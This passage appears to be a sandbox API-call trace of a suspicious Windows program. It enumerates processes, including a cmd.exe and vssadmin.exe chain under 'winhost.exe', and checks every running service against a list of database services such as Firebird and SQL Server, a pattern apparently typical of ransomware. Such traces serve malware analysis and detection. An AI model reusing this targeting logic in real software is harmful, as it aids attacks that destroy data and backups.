lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="telecommunications.exe")) returned 1 [0068.038] lstrlenW (lpString="telecommunications.exe") returned 22 [0068.039] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sound banking.exe")) returned 1 [0068.039] lstrlenW (lpString="sound banking.exe") returned 17 [0068.039] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0068.039] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0068.039] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0068.040] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0068.040] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0068.040] lstrlenW (lpString="taskhost.exe") returned 12 [0068.040] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0068.041] lstrlenW (lpString="dllhost.exe") returned 11 [0068.041] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0068.041] lstrlenW (lpString="winhost.exe") returned 11 [0068.041] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb80, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0068.041] lstrlenW (lpString="cmd.exe") returned 7 [0068.042] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0068.042] lstrlenW (lpString="conhost.exe") returned 11 [0068.042] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb1c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0068.042] lstrlenW (lpString="vssadmin.exe") returned 12 [0068.042] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0068.043] lstrlenW (lpString="VSSVC.exe") returned 9 [0068.043] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0068.044] CloseHandle (hObject=0x1d4) returned 1 [0068.044] Sleep (dwMilliseconds=0x1f4) [0069.635] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52ff50 [0069.636] EnumServicesStatusExW (in: hSCManager=0x52ff50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 0 [0069.636] GetLastError () returned 0xea [0069.636] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x123e) returned 0x509080 [0069.637] EnumServicesStatusExW (in: hSCManager=0x52ff50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x509080, cbBufSize=0x123e, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x509080, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 1 [0069.637] CloseServiceHandle (hSCObject=0x52ff50) returned 1 [0069.637] lstrlenW (lpString="Appinfo") returned 7 [0069.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0069.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0069.638] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0069.638] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0069.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0069.638] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0069.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0069.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0069.638] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0069.638] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0069.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0069.638] lstrlenW (lpString="AudioSrv") returned 8 [0069.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0069.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0069.638] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0069.638] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0069.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0069.638] lstrlenW (lpString="BFE") returned 3 [0069.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0069.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0069.638] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0069.638] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0069.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0069.638] lstrlenW (lpString="CryptSvc") returned 8 [0069.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0069.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0069.638] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0069.638] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0069.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0069.638] lstrlenW (lpString="CscService") returned 10 [0069.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0069.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0069.638] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0069.638] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0069.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0069.638] lstrlenW (lpString="DcomLaunch") returned 10 [0069.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0069.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0069.639] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0069.639] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0069.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0069.639] lstrlenW (lpString="Dhcp") returned 4 [0069.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0069.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0069.639] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0069.639] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0069.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0069.639] lstrlenW (lpString="Dnscache") returned 8 [0069.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0069.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0069.639] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0069.639] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0069.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0069.639] lstrlenW (lpString="DPS") returned 3 [0069.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0069.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0069.639] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0069.639] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0069.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0069.639] lstrlenW (lpString="eventlog") returned 8 [0069.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0069.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0069.639] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0069.639] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0069.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0069.639] lstrlenW (lpString="EventSystem") returned 11 [0069.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0069.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0069.639] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0069.639] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0069.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0069.639] lstrlenW (lpString="gpsvc") returned 5 [0069.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0069.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0069.640] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0069.640] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0069.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0069.640] lstrlenW (lpString="iphlpsvc") returned 8 [0069.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0069.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0069.640] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0069.640] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0069.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0069.640] lstrlenW (lpString="LanmanServer") returned 12 [0069.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0069.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0069.640] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0069.640] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0069.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0069.640] lstrlenW (lpString="LanmanWorkstation") returned 17 [0069.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0069.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0069.640] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0069.640] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0069.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0069.640] lstrlenW (lpString="lmhosts") returned 7 [0069.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0069.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0069.640] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0069.640] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0069.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0069.640] lstrlenW (lpString="MMCSS") returned 5 [0069.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0069.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0069.640] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0069.640] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0069.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0069.641] lstrlenW (lpString="MpsSvc") returned 6 [0069.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0069.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0069.641] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0069.641] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0069.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0069.641] lstrlenW (lpString="Netman") returned 6 [0069.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0069.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0069.641] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0069.641] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0069.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0069.641] lstrlenW (lpString="netprofm") returned 8 [0069.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0069.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0069.641] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0069.641] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0069.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0069.641] lstrlenW (lpString="NlaSvc") returned 6 [0069.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0069.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0069.641] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0069.641] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0069.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0069.641] lstrlenW (lpString="nsi") returned 3 [0069.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0069.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0069.641] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0069.641] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0069.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0069.641] lstrlenW (lpString="PcaSvc") returned 6 [0069.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0069.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0069.641] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0069.642] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0069.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0069.642] lstrlenW (lpString="PlugPlay") returned 8 [0069.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0069.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0069.642] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0069.642] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0069.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0069.642] lstrlenW (lpString="Power") returned 5 [0069.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0069.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0069.642] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0069.642] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0069.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0069.642] lstrlenW (lpString="ProfSvc") returned 7 [0069.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0069.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0069.642] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0069.642] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0069.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0069.642] lstrlenW (lpString="RpcEptMapper") returned 12 [0069.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0069.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0069.642] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0069.642] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0069.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0069.642] lstrlenW (lpString="RpcSs") returned 5 [0069.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0069.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0069.642] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0069.642] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0069.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0069.642] lstrlenW (lpString="SamSs") returned 5 [0069.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0069.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0069.643] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0069.643] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0069.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0069.643] lstrlenW (lpString="Schedule") returned 8 [0069.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0069.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0069.643] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0069.643] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0069.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0069.643] lstrlenW (lpString="SENS") returned 4 [0069.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0069.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0069.643] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0069.643] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0069.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0069.643] lstrlenW (lpString="ShellHWDetection") returned 16 [0069.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0069.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0069.643] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0069.643] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0069.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0069.643] lstrlenW (lpString="Spooler") returned 7 [0069.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0069.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0069.643] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0069.643] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0069.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0069.643] lstrlenW (lpString="SysMain") returned 7 [0069.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0069.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0069.643] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0069.643] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0069.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0069.643] lstrlenW (lpString="Themes") returned 6 [0069.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0069.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0069.644] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0069.644] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0069.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0069.644] lstrlenW (lpString="TrkWks") returned 6 [0069.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0069.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0069.644] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0069.644] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0069.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0069.644] lstrlenW (lpString="UxSms") returned 5 [0069.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0069.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0069.644] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0069.644] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0069.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0069.644] lstrlenW (lpString="VSS") returned 3 [0069.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0069.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0069.644] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0069.644] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0069.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0069.644] lstrlenW (lpString="WdiServiceHost") returned 14 [0069.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0069.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0069.644] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0069.644] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0069.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0069.644] lstrlenW (lpString="WdiSystemHost") returned 13 [0069.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0069.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0069.644] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0069.644] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0069.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0069.644] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0069.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0069.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0069.645] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0069.645] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0069.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0069.645] lstrlenW (lpString="Winmgmt") returned 7 [0069.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0069.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0069.645] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0069.645] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0069.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0069.645] lstrlenW (lpString="WPDBusEnum") returned 10 [0069.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0069.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0069.645] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0069.645] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0069.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0069.645] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x509080 | out: hHeap=0x4b0000) returned 1 [0069.645] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0069.652] Process32FirstW (in: hSnapshot=0x1b0, 